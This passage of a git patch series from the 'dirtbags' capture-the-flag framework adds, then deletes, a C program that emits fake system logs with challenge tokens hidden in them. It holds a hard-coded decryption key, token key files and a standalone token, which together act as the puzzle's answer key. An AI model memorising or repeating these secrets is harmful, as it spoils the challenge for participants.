1)) { + messages[0]->when = start; + snprintf(messages[0]->text, sizeof(messages[0]->text), + "/USR/SBIN/CRON[%d]: (root) CMD ( /opt/bloatware/cleanup.sh )", + pid); + enqueue_messages(messages, 1); + } + break; + case 5: + /* sudo */ + if (-1 != get_many_messages(messages, 1)) { + char const *u = user(); + + messages[0]->when = start; + snprintf(messages[0]->text, sizeof(messages[0]->text), + "sudo: %12s : TTY=pts/%d ; PWD=/home/%s ; USER=root; COMMAND=/usr/bin/less /var/log/syslog", + u, randint(12), u); + enqueue_messages(messages, 1); + } + break; + case 6 ... 20: + /* SMTP */ + { + char const *mytoken; + size_t tokenlen; + char const *host; + size_t hostlen; + char const *from; + size_t fromlen; + char const *to; + int is_token; + + if (randint(10) == 0) { + is_token = 1; + mytoken = token[2]; + } else { + is_token = 0; + mytoken = bogus_token(); + } + + tokenlen = strlen(mytoken); + host = mytoken; + hostlen = tokenlen/3; + from = mytoken + hostlen; + fromlen = tokenlen/3; + to = mytoken + hostlen + fromlen; + + if (-1 != get_many_messages(messages, 8)) { + int o1 = randint(256); + int o2 = randint(256); + int o3 = randint(256); + int o4 = randint(256); + long int mid = random(); + long int mid2 = random(); + + messages[0]->when = start; + snprintf(messages[0]->text, sizeof(messages[0]->text), + "smtp/smtpd[%d]: connect from %.*s[%d.%d.%d.%d]", + pid, hostlen, host, o1, o2, o3, o4); + + messages[1]->when = messages[0]->when + randint(1); + snprintf(messages[1]->text, sizeof(messages[1]->text), + "smtp/smtpd[%d]: %08lX: client=%.*s[%d.%d.%d.%d]", + pid, mid, hostlen, host, o1, o2, o3, o4); + + messages[2]->when = messages[1]->when + 2 + randint(3); + snprintf(messages[2]->text, sizeof(messages[2]->text), + "smtp/smtpd[%d]: disconnect from [%d.%d.%d.%d]", + pid, o1, o2, o3, o4); + + pid = (pid + 1 + randint(5)) % PID_MAX; + messages[3]->when = messages[1]->when + 1 + randint(2); + snprintf(messages[3]->text, sizeof(messages[3]->text), + "smtp/cleanup[%d]: %08lX: message-id=<%08lx@junkmail.spam>", + pid, mid, mid2); + + pid = (pid + 1 + randint(5)) % PID_MAX; + messages[4]->when = messages[3]->when + randint(1); + snprintf(messages[4]->text, sizeof(messages[4]->text), + "smtp/qmgr[%d]: %08lX: from=<%.*s@junkmail.spam>, size=%d, nrcpt=1 (queue active)", + pid, mid, fromlen, from, randint(6000)); + + messages[5]->when = messages[4]->when + 2 + randint(2); + snprintf(messages[5]->text, sizeof(messages[5]->text), + "smtp/qmgr[%d]: %08lX: removed", + pid, mid); + + messages[6]->when = messages[4]->when + randint(1); + snprintf(messages[6]->text, sizeof(messages[6]->text), + "smtp/deliver(%s): msgid=<%08lx@junkmail.spam>: saved to INBOX", + to, mid2); + + pid = (pid + 1 + randint(5)) % PID_MAX; + messages[7]->when = messages[4]->when + randint(1); + snprintf(messages[7]->text, sizeof(messages[7]->text), + "smtp/local[%d]: %08lX: to <%s@dirtbags.net>, relay=local, dsn=2.0.0, status=sent (delivered to command /usr/bin/deliver)", + pid, mid, to); + + enqueue_messages(messages, 8); + } + } + break; + case 21 ... 30: + /* ssh */ + break; + default: + /* HTTP */ + if (-1 != get_many_messages(messages, 1)) { + messages[0]->when = start; + snprintf(messages[0]->text, sizeof(messages[0]->text), + "httpd[%d]: %d.%d.%d.%d\t-\tdirtbags.net\t80\tGET\t%s\t-\tHTTP/1.1\t200\t%d\t-\tMozilla/5.0", + pid, + randint(256), randint(256), + randint(256), randint(256), + url(), randint(4000) + 378); + enqueue_messages(messages, 1); + } + break; + } + } + + { + struct timespec t = { 1, 0 }; + + nanosleep(&t, NULL); + } + } + + return 0; +} diff --git a/packages/logger/src/token.c b/packages/logger/src/token.c new file mode 120000 index 0000000..b64f986 --- /dev/null +++ b/packages/logger/src/token.c @@ -0,0 +1 @@ +../../../src/token.c \ No newline at end of file diff --git a/packages/logger/src/token.h b/packages/logger/src/token.h new file mode 120000 index 0000000..18eaf6f --- /dev/null +++ b/packages/logger/src/token.h @@ -0,0 +1 @@ +../../../src/token.h \ No newline at end of file diff --git a/packages/logger/tokens/logger0/category b/packages/logger/tokens/logger0/category new file mode 100644 index 0000000..7c82fcf --- /dev/null +++ b/packages/logger/tokens/logger0/category @@ -0,0 +1 @@ +logger diff --git a/packages/logger/tokens/logger0/category.key b/packages/logger/tokens/logger0/category.key new file mode 100644 index 0000000..f11bbd8 --- /dev/null +++ b/packages/logger/tokens/logger0/category.key @@ -0,0 +1 @@ +SÞ*ç¹¼ŠÉÐ7þkðp \ No newline at end of file diff --git a/packages/logger/tokens/logger0/enc.key b/packages/logger/tokens/logger0/enc.key new file mode 100644 index 0000000..b6a79d9 --- /dev/null +++ b/packages/logger/tokens/logger0/enc.key @@ -0,0 +1 @@ +™ëÀÎàÉí[½ÈµýÝ  \ No newline at end of file diff --git a/packages/logger/tokens/logger1/category b/packages/logger/tokens/logger1/category new file mode 100644 index 0000000..7c82fcf --- /dev/null +++ b/packages/logger/tokens/logger1/category @@ -0,0 +1 @@ +logger diff --git a/packages/logger/tokens/logger1/category.key b/packages/logger/tokens/logger1/category.key new file mode 100644 index 0000000..f11bbd8 --- /dev/null +++ b/packages/logger/tokens/logger1/category.key @@ -0,0 +1 @@ +SÞ*ç¹¼ŠÉÐ7þkðp \ No newline at end of file diff --git a/packages/logger/tokens/logger1/enc.key b/packages/logger/tokens/logger1/enc.key new file mode 100644 index 0000000..b6a79d9 --- /dev/null +++ b/packages/logger/tokens/logger1/enc.key @@ -0,0 +1 @@ +™ëÀÎàÉí[½ÈµýÝ  \ No newline at end of file diff --git a/packages/logger/tokens/logger2/category b/packages/logger/tokens/logger2/category new file mode 100644 index 0000000..7c82fcf --- /dev/null +++ b/packages/logger/tokens/logger2/category @@ -0,0 +1 @@ +logger diff --git a/packages/logger/tokens/logger2/category.key b/packages/logger/tokens/logger2/category.key new file mode 100644 index 0000000..f11bbd8 --- /dev/null +++ b/packages/logger/tokens/logger2/category.key @@ -0,0 +1 @@ +SÞ*ç¹¼ŠÉÐ7þkðp \ No newline at end of file diff --git a/packages/logger/tokens/logger2/enc.key b/packages/logger/tokens/logger2/enc.key new file mode 100644 index 0000000..b6a79d9 --- /dev/null +++ b/packages/logger/tokens/logger2/enc.key @@ -0,0 +1 @@ +™ëÀÎàÉí[½ÈµýÝ  \ No newline at end of file From 65fd705cb6d8ad311152f7e0d836eee797d3d3cf Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Fri, 20 Jan 2012 17:02:37 -0700 Subject: [PATCH 06/14] nope, didn\'t want logger --- packages/logger/logger.mk | 20 - packages/logger/service/logger/finish | 4 - packages/logger/service/logger/ip.txt | 1 - packages/logger/service/logger/log/run | 3 - packages/logger/service/logger/run | 6 - packages/logger/src/COPYING | 20 - packages/logger/src/Makefile | 14 - packages/logger/src/arc4.c | 1 - packages/logger/src/arc4.h | 1 - packages/logger/src/logger.c | 652 -------------------- packages/logger/src/token.c | 1 - packages/logger/src/token.h | 1 - packages/logger/tokens/logger0/category | 1 - packages/logger/tokens/logger0/category.key | 1 - packages/logger/tokens/logger0/enc.key | 1 - packages/logger/tokens/logger1/category | 1 - packages/logger/tokens/logger1/category.key | 1 - packages/logger/tokens/logger1/enc.key | 1 - packages/logger/tokens/logger2/category | 1 - packages/logger/tokens/logger2/category.key | 1 - packages/logger/tokens/logger2/enc.key | 1 - 21 files changed, 733 deletions(-) delete mode 100644 packages/logger/logger.mk delete mode 100755 packages/logger/service/logger/finish delete mode 100644 packages/logger/service/logger/ip.txt delete mode 100755 packages/logger/service/logger/log/run delete mode 100755 packages/logger/service/logger/run delete mode 100644 packages/logger/src/COPYING delete mode 100644 packages/logger/src/Makefile delete mode 120000 packages/logger/src/arc4.c delete mode 120000 packages/logger/src/arc4.h delete mode 100644 packages/logger/src/logger.c delete mode 120000 packages/logger/src/token.c delete mode 120000 packages/logger/src/token.h delete mode 100644 packages/logger/tokens/logger0/category delete mode 100644 packages/logger/tokens/logger0/category.key delete mode 100644 packages/logger/tokens/logger0/enc.key delete mode 100644 packages/logger/tokens/logger1/category delete mode 100644 packages/logger/tokens/logger1/category.key delete mode 100644 packages/logger/tokens/logger1/enc.key delete mode 100644 packages/logger/tokens/logger2/category delete mode 100644 packages/logger/tokens/logger2/category.key delete mode 100644 packages/logger/tokens/logger2/enc.key diff --git a/packages/logger/logger.mk b/packages/logger/logger.mk deleted file mode 100644 index 14f251c..0000000 --- a/packages/logger/logger.mk +++ /dev/null @@ -1,20 +0,0 @@ -LOGGER_PKGDIR = $(TARGET)/logger - -logger-install: logger-build - mkdir -p $(LOGGER_PKGDIR) - - mkdir -p $(LOGGER_PKGDIR)/bin/ - $(MAKE) -C packages/logger/src install DESTDIR=$(CURDIR)/$(LOGGER_PKGDIR) - - $(call COPYTREE, packages/logger/tokens, $(LOGGER_PKGDIR)/tokens) - - $(call COPYTREE, packages/logger/service, $(LOGGER_PKGDIR)/service) - -logger-clean: - rm -rf $(LOGGER_PKGDIR) - $(MAKE) -C packages/logger/src clean - -logger-build: - $(MAKE) -C packages/logger/src build - -PACKAGES += logger diff --git a/packages/logger/service/logger/finish b/packages/logger/service/logger/finish deleted file mode 100755 index 6317f74..0000000 --- a/packages/logger/service/logger/finish +++ /dev/null @@ -1,4 +0,0 @@ -#! /bin/sh - -IP=$(cat ip.txt) -ip addr del $IP dev eth0 diff --git a/packages/logger/service/logger/ip.txt b/packages/logger/service/logger/ip.txt deleted file mode 100644 index 9777f24..0000000 --- a/packages/logger/service/logger/ip.txt +++ /dev/null @@ -1 +0,0 @@ -fd84:b410:3441::07a6/64 diff --git a/packages/logger/service/logger/log/run b/packages/logger/service/logger/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/logger/service/logger/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/logger/service/logger/run b/packages/logger/service/logger/run deleted file mode 100755 index 2e36c15..0000000 --- a/packages/logger/service/logger/run +++ /dev/null @@ -1,6 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 -IP=$(cat ip.txt) -ip addr add $IP label eth0:logger dev eth0 -exec tcpsvd ${IP%/*} 1958 /opt/logger/bin/logger diff --git a/packages/logger/src/COPYING b/packages/logger/src/COPYING deleted file mode 100644 index 5f6471e..0000000 --- a/packages/logger/src/COPYING +++ /dev/null @@ -1,20 +0,0 @@ -Base64 code was taken from -http://cvs.savannah.gnu.org/viewvc/*checkout*/gnulib/gnulib/lib/base64.c?revision=HEAD - -/* base64.c -- Encode binary data using printable characters. - Copyright (C) 1999, 2000, 2001, 2004, 2005, 2006 Free Software - Foundation, Inc. - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2, or (at your option) - any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software Foundation, - Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ diff --git a/packages/logger/src/Makefile b/packages/logger/src/Makefile deleted file mode 100644 index f895c85..0000000 --- a/packages/logger/src/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CFLAGS = -Wall -Werror -LDFLAGS = -static -TARGETS = logger - -all: build -build: $(TARGETS) - -logger: logger.o arc4.o token.o - -install: $(TARGETS) - install -m 0755 $(TARGETS) $(DESTDIR)/bin - -clean: - rm -f *.o $(TARGETS) diff --git a/packages/logger/src/arc4.c b/packages/logger/src/arc4.c deleted file mode 120000 index 4dcde89..0000000 --- a/packages/logger/src/arc4.c +++ /dev/null @@ -1 +0,0 @@ -../../../src/arc4.c \ No newline at end of file diff --git a/packages/logger/src/arc4.h b/packages/logger/src/arc4.h deleted file mode 120000 index a5d8c7a..0000000 --- a/packages/logger/src/arc4.h +++ /dev/null @@ -1 +0,0 @@ -../../../src/arc4.h \ No newline at end of file diff --git a/packages/logger/src/logger.c b/packages/logger/src/logger.c deleted file mode 100644 index 2d47b88..0000000 --- a/packages/logger/src/logger.c +++ /dev/null @@ -1,652 +0,0 @@ -/** logger.c - generate fake log messages (part of dirtbags CTF) - * - * Author: Neale Pickett - * - * This software has been authored by an employee or employees of Los - * Alamos National Security, LLC, operator of the Los Alamos National - * Laboratory (LANL) under Contract No. DE-AC52-06NA25396 with the - * U.S. Department of Energy. The U.S. Government has rights to use, - * reproduce, and distribute this software. The public may copy, - * distribute, prepare derivative works and publicly display this - * software without charge, provided that this Notice and any statement - * of authorship are reproduced on all copies. Neither the Government - * nor LANS makes any warranty, express or implied, or assumes any - * liability or responsibility for the use of this software. If - * software is modified to produce derivative works, such modified - * software should be clearly marked, so as not to confuse it with the - * version available from LANL. - */ - - -#include -#include -#include -#include -#include - -#ifdef STANDALONE -# define TOKEN_MAX 50 -#else -# include "token.h" -#endif - -#define PID_MAX 32768 -#define QSIZE 200 -#define MSGS_PER_SEC_MIN 10 -#define MSGS_PER_SEC_MAX 40 - -const uint8_t key[] = {0x99, 0xeb, 0xc0, 0xce, - 0xe0, 0xc9, 0xed, 0x5b, - 0xbd, 0xc8, 0xb5, 0xfd, - 0xdd, 0x0b, 0x03, 0x10}; - -/* Storage space for tokens */ -char token[3][TOKEN_MAX]; - -void -read_tokens() -{ - int i; - ssize_t len; - char name[40]; - - for (i = 0; i < sizeof(token)/sizeof(*token); i += 1) { -#ifdef STANDALONE - strcpy(token[i], "logger:xylep-donut-nanox"); -#else - /* This can't grow beyond 40. Think about it. */ - sprintf(name, "logger%d", i); - - len = get_token(token[i], sizeof(token[i]), name, key, sizeof(key)); - if ((-1 == len) || (len >= sizeof(token[i]))) abort(); - token[i][len] = '\0'; -#endif - } -} - - -/* - * Base 64 (GPL: see COPYING) - */ - -/* C89 compliant way to cast 'char' to 'unsigned char'. */ -static inline unsigned char -to_uchar (char ch) -{ - return ch; -} - -/* Base64 encode IN array of size INLEN into OUT array of size OUTLEN. - If OUTLEN is less than BASE64_LENGTH(INLEN), write as many bytes as - possible. If OUTLEN is larger than BASE64_LENGTH(INLEN), also zero - terminate the output buffer. */ -void -base64_encode (const char *in, size_t inlen, - char *out, size_t outlen) -{ - static const char b64str[64] = - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; - - while (inlen && outlen) { - *out++ = b64str[(to_uchar(in[0]) >> 2) & 0x3f]; - if (!--outlen) - break; - *out++ = b64str[((to_uchar(in[0]) << 4) - + (--inlen ? to_uchar(in[1]) >> 4 : 0)) - & 0x3f]; - if (!--outlen) - break; - *out++ = (inlen - ? b64str[((to_uchar(in[1]) << 2) - + (--inlen ? to_uchar(in[2]) >> 6 : 0)) - & 0x3f] - : '='); - if (!--outlen) - break; - *out++ = inlen ? b64str[to_uchar(in[2]) & 0x3f] : '='; - if (!--outlen) - break; - if (inlen) - inlen--; - if (inlen) - in += 3; - } - - if (outlen) - *out = '\0'; -} - - -/* - * Bubble Babble - */ -char const consonants[] = "bcdfghklmnprstvz"; -char const vowels[] = "aeiouy"; - -#define bubblebabble_len(n) (6*(((n)/2)+1)) - -/** Compute bubble babble for input buffer. - * - * The generated output will be of length 6*((inlen/2)+1), including the - * trailing NULL. - * - * Test vectors: - * `' (empty string) `xexax' - * `1234567890' `xesef-disof-gytuf-katof-movif-baxux' - * `Pineapple' `xigak-nyryk-humil-bosek-sonax' - */ -void -bubblebabble(unsigned char *out, - unsigned char const *in, - const size_t inlen) -{ - size_t pos = 0; - int seed = 1; - size_t i = 0; - - out[pos++] = 'x'; - while (1) { - unsigned char c; - - if (i == inlen) { - out[pos++] = vowels[seed % 6]; - out[pos++] = 'x'; - out[pos++] = vowels[seed / 6]; - break; - } - - c = in[i++]; - out[pos++] = vowels[(((c >> 6) & 3) + seed) % 6]; - out[pos++] = consonants[(c >> 2) & 15]; - out[pos++] = vowels[((c & 3) + (seed / 6)) % 6]; - if (i == inlen) { - break; - } - seed = ((seed * 5) + (c * 7) + in[i]) % 36; - - c = in[i++]; - out[pos++] = consonants[(c >> 4) & 15]; - out[pos++] = '-'; - out[pos++] = consonants[c & 15]; - } - - out[pos++] = 'x'; - out[pos] = '\0'; -} - - - -int -randint(int max) -{ - return random() % max; -} - -#define itokenlen 5 - -char const * -bogus_token() -{ - static char token[TOKEN_MAX]; - unsigned char crap[itokenlen]; - unsigned char digest[bubblebabble_len(itokenlen)]; - int i; - - for (i = 0; i < sizeof(crap); i += 1 ) { - crap[i] = (unsigned char)randint(256); - } - bubblebabble(digest, (unsigned char *)&crap, itokenlen); - snprintf(token, sizeof(token), "bogus:%s", digest); - token[sizeof(token) - 1] = '\0'; - - return token; -} - -#define choice(a) (a[randint(sizeof(a)/sizeof(*a))]) - -char const *users[] = {"alice", "bob", "carol", "dave", - "eve", "fran", "gordon", - "isaac", "justin", "mallory", - "oscar", "pat", "steve", - "trent", "vanna", "walter", "zoe"}; - - -char const * -user() -{ - return choice(users); -} - -char const *filenames[] = {"about", "request", "page", "buttons", - "images", "overview"}; -char const *extensions[] = {"html", "htm", "jpg", "png", "css", "cgi"}; -char const *fields[] = {"q", "s", "search", "id", "req", "oid", "pmt", - "u", "page", "xxnp", "stat", "jk", "ttb", - "access", "domain", "needle", "service", "client"}; -char const *values[] = {"1", "turnip", "chupacabra", "58", "identify", - "parthenon", "jellyfish", "pullman", "auth", - "xa4Jmwl", "cornmeal", "ribbon", "49299248", - "javaWidget", "crashdump", "priority", - "blogosphere"}; - -char const * -url() -{ - static char url[200]; - int i, parts; - - strcpy(url, "/"); - - parts = randint(4); - for (i = 0; i < parts; i += 1) { - if (i > 0) { - strcat(url, "/"); - } - strcat(url, choice(filenames)); - } - - if (randint(5) > 1) { - if (i > 0) { - strcat(url, "."); - strcat(url, choice(extensions)); - } - } else { - parts = randint(8) + 1; - for (i = 0; i < parts; i += 1) { - if (0 == i) { - strcat(url, "?"); - } else { - strcat(url, "&"); - } - strcat(url, choice(fields)); - strcat(url, "="); - strcat(url, choice(values)); - } - } - - return url; -} - - -struct message { - time_t when; - char text[300]; - struct message *next; -}; - -/* Allocate some messages */ -struct message heap[QSIZE]; - -struct message *pool; -struct message *queue; - -struct message * -get_message() -{ - struct message *ret = pool; - - if (pool) { - pool = pool->next; - } - - return ret; -} - -void -free_message(struct message *msg) -{ - if (msg) { - msg->next = pool; - pool = msg; - } -} - -/* Either get count messages, or don't get any at all. */ -int -get_many_messages(struct message **msgs, size_t count) -{ - int i; - - for (i = 0; i < count; i += 1) { - msgs[i] = get_message(); - } - - if (NULL == msgs[i-1]) { - for (i = 0; i < count; i += 1) { - free_message(msgs[i]); - } - return -1; - } - - return 0; -} - -void -enqueue_message(struct message *msg) -{ - struct message *cur; - - /* In some cases, we want msg to be at the head */ - if ((NULL == queue) || (queue->when > msg->when)) { - msg->next = queue; - queue = msg; - return; - } - - /* Find where to stick it */ - for (cur = queue; NULL != cur->next; cur = cur->next) { - if (cur->next->when > msg->when) break; - } - - /* Insert it after cur */ - msg->next = cur->next; - cur->next = msg; -} - -void -enqueue_messages(struct message **msgs, size_t count) -{ - int i; - - for (i = 0; i < count; i += 1) { - enqueue_message(msgs[i]); - } -} - -struct message * -dequeue_message(time_t now) -{ - if ((NULL != queue) && (queue->when <= now)) { - struct message *ret = queue; - - queue = queue->next; - free_message(ret); - return ret; - } - - return NULL; -} - -int -main(int argc, char *argv[]) -{ - int i; - int pid = 52; - time_t then = time(NULL) - 100; /* Assure we get new tokens right away */ - - /* Seed RNG */ - srandom(then); - - /* Initialize free messages */ - { - pool = &(heap[0]); - for (i = 0; i < QSIZE - 1; i += 1) { - heap[i].next = &(heap[i+1]); - } - heap[i].next = NULL; - } - - /* Now let's make some crap! */ - while (! feof(stdout)) { - struct message *msg; - time_t now = time(NULL); - int i, max; - - /* Print messages */ - while ((msg = dequeue_message(now))) { - char ftime[80]; - struct tm *tm; - - tm = gmtime(&msg->when); - if (! tm) { - snprintf(ftime, sizeof(ftime), "%ld", now); - } else { - strftime(ftime, sizeof(ftime), "%b %d %T", tm); - } - printf("%s loghost %s\n", ftime, msg->text); - } - fflush(stdout); - - /* Time for new tokens? */ - if (then + 60 <= now) { - read_tokens(); - then = now; - } - - /* Make some messages */ - max = MSGS_PER_SEC_MIN + randint(MSGS_PER_SEC_MAX - MSGS_PER_SEC_MIN); - - for (i = 0; i < max; i += 1) { - time_t start = now + 1; - struct message *messages[10]; - - /* Increment the PID */ - pid = (pid + 1 + randint(20)) % PID_MAX; - - switch (randint(90)) { - case 0: - /* Internal diagnostic! */ - if (-1 != get_many_messages(messages, 1)) { - int queued, pooled; - struct message *msg; - - for (pooled = 0, msg = pool; - msg; - msg = msg->next, pooled += 1); - /* Start at one because of this message */ - for (queued = 1, msg = queue; - msg; - msg = msg->next, queued += 1); - - messages[0]->when = now; - snprintf(messages[0]->text, sizeof(messages[0]->text), - "DEBUG: %d in pool, %d in queue (%d total)", - pooled, queued, pooled + queued); - enqueue_messages(messages, 1); - } - case 1: - /* Lame-o "token" service */ - if (-1 != get_many_messages(messages, 1)) { - messages[0]->when = start; - snprintf(messages[0]->text, sizeof(messages[0]->text), - "tokenserv[%d]: token is %s", - pid, token[0]); - enqueue_messages(messages, 1); - } - /* Always follow this with a couple lines of fluff so it's - not the last thing in a batch */ - max += 2; - break; - case 2: - /* IMAP */ - { - char const *mytoken; - char const *u; - char btoken[TOKEN_MAX * 2]; - - if (randint(5) == 0) { - mytoken = token[1]; - u = "token"; - } else { - mytoken = bogus_token(); - u = user(); - } - base64_encode(mytoken, strlen(mytoken), btoken, sizeof(btoken)); - - if (-1 != get_many_messages(messages, 2)) { - const int offset=15; - - messages[0]->when = start; - snprintf(messages[0]->text, sizeof(messages[0]->text), - "imapd[%d]: Login: user=%s method=PLAIN token1=%.*s", - pid, u, offset, btoken); - - messages[1]->when = start + 4 + randint(60); - snprintf(messages[1]->text, sizeof(messages[1]->text), - "imapd[%d]: Disconnected: Logged out token2=%s", - pid, btoken + offset); - - enqueue_messages(messages, 2); - } - } - case 3: - /* IRC */ - if (-1 != get_many_messages(messages, 3)) { - int connection = randint(512); - int port = randint(65536); - - messages[0]->when = start; - snprintf(messages[0]->text, sizeof(messages[0]->text), - "ircd: Accepted connection %d from %d.%d.%d.%d:%d on socket %d.", - connection, - randint(256), randint(256), - randint(256), randint(256), - port, - randint(256)); - - messages[1]->when = start + randint(5); - snprintf(messages[1]->text, sizeof(messages[1]->text), - "ircd: User \"%s!~%s@dirtbags.net\" registered (connection %d).", - user(), user(), connection); - - - messages[2]->when = messages[1]->when + randint(600); - snprintf(messages[2]->text, sizeof(messages[2]->text), - "ircd: Shutting down connection %d (Got QUIT command.) with dirtbags.net:%d.", - connection, port); - - enqueue_messages(messages, 3); - } - break; - case 4: - /* cron */ - if (-1 != get_many_messages(messages, 1)) { - messages[0]->when = start; - snprintf(messages[0]->text, sizeof(messages[0]->text), - "/USR/SBIN/CRON[%d]: (root) CMD ( /opt/bloatware/cleanup.sh )", - pid); - enqueue_messages(messages, 1); - } - break; - case 5: - /* sudo */ - if (-1 != get_many_messages(messages, 1)) { - char const *u = user(); - - messages[0]->when = start; - snprintf(messages[0]->text, sizeof(messages[0]->text), - "sudo: %12s : TTY=pts/%d ; PWD=/home/%s ; USER=root; COMMAND=/usr/bin/less /var/log/syslog", - u, randint(12), u); - enqueue_messages(messages, 1); - } - break; - case 6 ... 20: - /* SMTP */ - { - char const *mytoken; - size_t tokenlen; - char const *host; - size_t hostlen; - char const *from; - size_t fromlen; - char const *to; - int is_token; - - if (randint(10) == 0) { - is_token = 1; - mytoken = token[2]; - } else { - is_token = 0; - mytoken = bogus_token(); - } - - tokenlen = strlen(mytoken); - host = mytoken; - hostlen = tokenlen/3; - from = mytoken + hostlen; - fromlen = tokenlen/3; - to = mytoken + hostlen + fromlen; - - if (-1 != get_many_messages(messages, 8)) { - int o1 = randint(256); - int o2 = randint(256); - int o3 = randint(256); - int o4 = randint(256); - long int mid = random(); - long int mid2 = random(); - - messages[0]->when = start; - snprintf(messages[0]->text, sizeof(messages[0]->text), - "smtp/smtpd[%d]: connect from %.*s[%d.%d.%d.%d]", - pid, hostlen, host, o1, o2, o3, o4); - - messages[1]->when = messages[0]->when + randint(1); - snprintf(messages[1]->text, sizeof(messages[1]->text), - "smtp/smtpd[%d]: %08lX: client=%.*s[%d.%d.%d.%d]", - pid, mid, hostlen, host, o1, o2, o3, o4); - - messages[2]->when = messages[1]->when + 2 + randint(3); - snprintf(messages[2]->text, sizeof(messages[2]->text), - "smtp/smtpd[%d]: disconnect from [%d.%d.%d.%d]", - pid, o1, o2, o3, o4); - - pid = (pid + 1 + randint(5)) % PID_MAX; - messages[3]->when = messages[1]->when + 1 + randint(2); - snprintf(messages[3]->text, sizeof(messages[3]->text), - "smtp/cleanup[%d]: %08lX: message-id=<%08lx@junkmail.spam>", - pid, mid, mid2); - - pid = (pid + 1 + randint(5)) % PID_MAX; - messages[4]->when = messages[3]->when + randint(1); - snprintf(messages[4]->text, sizeof(messages[4]->text), - "smtp/qmgr[%d]: %08lX: from=<%.*s@junkmail.spam>, size=%d, nrcpt=1 (queue active)", - pid, mid, fromlen, from, randint(6000)); - - messages[5]->when = messages[4]->when + 2 + randint(2); - snprintf(messages[5]->text, sizeof(messages[5]->text), - "smtp/qmgr[%d]: %08lX: removed", - pid, mid); - - messages[6]->when = messages[4]->when + randint(1); - snprintf(messages[6]->text, sizeof(messages[6]->text), - "smtp/deliver(%s): msgid=<%08lx@junkmail.spam>: saved to INBOX", - to, mid2); - - pid = (pid + 1 + randint(5)) % PID_MAX; - messages[7]->when = messages[4]->when + randint(1); - snprintf(messages[7]->text, sizeof(messages[7]->text), - "smtp/local[%d]: %08lX: to <%s@dirtbags.net>, relay=local, dsn=2.0.0, status=sent (delivered to command /usr/bin/deliver)", - pid, mid, to); - - enqueue_messages(messages, 8); - } - } - break; - case 21 ... 30: - /* ssh */ - break; - default: - /* HTTP */ - if (-1 != get_many_messages(messages, 1)) { - messages[0]->when = start; - snprintf(messages[0]->text, sizeof(messages[0]->text), - "httpd[%d]: %d.%d.%d.%d\t-\tdirtbags.net\t80\tGET\t%s\t-\tHTTP/1.1\t200\t%d\t-\tMozilla/5.0", - pid, - randint(256), randint(256), - randint(256), randint(256), - url(), randint(4000) + 378); - enqueue_messages(messages, 1); - } - break; - } - } - - { - struct timespec t = { 1, 0 }; - - nanosleep(&t, NULL); - } - } - - return 0; -} diff --git a/packages/logger/src/token.c b/packages/logger/src/token.c deleted file mode 120000 index b64f986..0000000 --- a/packages/logger/src/token.c +++ /dev/null @@ -1 +0,0 @@ -../../../src/token.c \ No newline at end of file diff --git a/packages/logger/src/token.h b/packages/logger/src/token.h deleted file mode 120000 index 18eaf6f..0000000 --- a/packages/logger/src/token.h +++ /dev/null @@ -1 +0,0 @@ -../../../src/token.h \ No newline at end of file diff --git a/packages/logger/tokens/logger0/category b/packages/logger/tokens/logger0/category deleted file mode 100644 index 7c82fcf..0000000 --- a/packages/logger/tokens/logger0/category +++ /dev/null @@ -1 +0,0 @@ -logger diff --git a/packages/logger/tokens/logger0/category.key b/packages/logger/tokens/logger0/category.key deleted file mode 100644 index f11bbd8..0000000 --- a/packages/logger/tokens/logger0/category.key +++ /dev/null @@ -1 +0,0 @@ -SÞ*ç¹¼ŠÉÐ7þkðp \ No newline at end of file diff --git a/packages/logger/tokens/logger0/enc.key b/packages/logger/tokens/logger0/enc.key deleted file mode 100644 index b6a79d9..0000000 --- a/packages/logger/tokens/logger0/enc.key +++ /dev/null @@ -1 +0,0 @@ -™ëÀÎàÉí[½ÈµýÝ  \ No newline at end of file diff --git a/packages/logger/tokens/logger1/category b/packages/logger/tokens/logger1/category deleted file mode 100644 index 7c82fcf..0000000 --- a/packages/logger/tokens/logger1/category +++ /dev/null @@ -1 +0,0 @@ -logger diff --git a/packages/logger/tokens/logger1/category.key b/packages/logger/tokens/logger1/category.key deleted file mode 100644 index f11bbd8..0000000 --- a/packages/logger/tokens/logger1/category.key +++ /dev/null @@ -1 +0,0 @@ -SÞ*ç¹¼ŠÉÐ7þkðp \ No newline at end of file diff --git a/packages/logger/tokens/logger1/enc.key b/packages/logger/tokens/logger1/enc.key deleted file mode 100644 index b6a79d9..0000000 --- a/packages/logger/tokens/logger1/enc.key +++ /dev/null @@ -1 +0,0 @@ -™ëÀÎàÉí[½ÈµýÝ  \ No newline at end of file diff --git a/packages/logger/tokens/logger2/category b/packages/logger/tokens/logger2/category deleted file mode 100644 index 7c82fcf..0000000 --- a/packages/logger/tokens/logger2/category +++ /dev/null @@ -1 +0,0 @@ -logger diff --git a/packages/logger/tokens/logger2/category.key b/packages/logger/tokens/logger2/category.key deleted file mode 100644 index f11bbd8..0000000 --- a/packages/logger/tokens/logger2/category.key +++ /dev/null @@ -1 +0,0 @@ -SÞ*ç¹¼ŠÉÐ7þkðp \ No newline at end of file diff --git a/packages/logger/tokens/logger2/enc.key b/packages/logger/tokens/logger2/enc.key deleted file mode 100644 index b6a79d9..0000000 --- a/packages/logger/tokens/logger2/enc.key +++ /dev/null @@ -1 +0,0 @@ -™ëÀÎàÉí[½ÈµýÝ  \ No newline at end of file From 3b4b7a22b094f768063c017f690707498ef0a2d3 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Wed, 25 Jan 2012 12:45:25 -0700 Subject: [PATCH 07/14] some TF4 tokens --- packages/tf4/tf4.mk | 8 + packages/tf4/tokens.txt | 400 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 408 insertions(+) create mode 100644 packages/tf4/tf4.mk create mode 100644 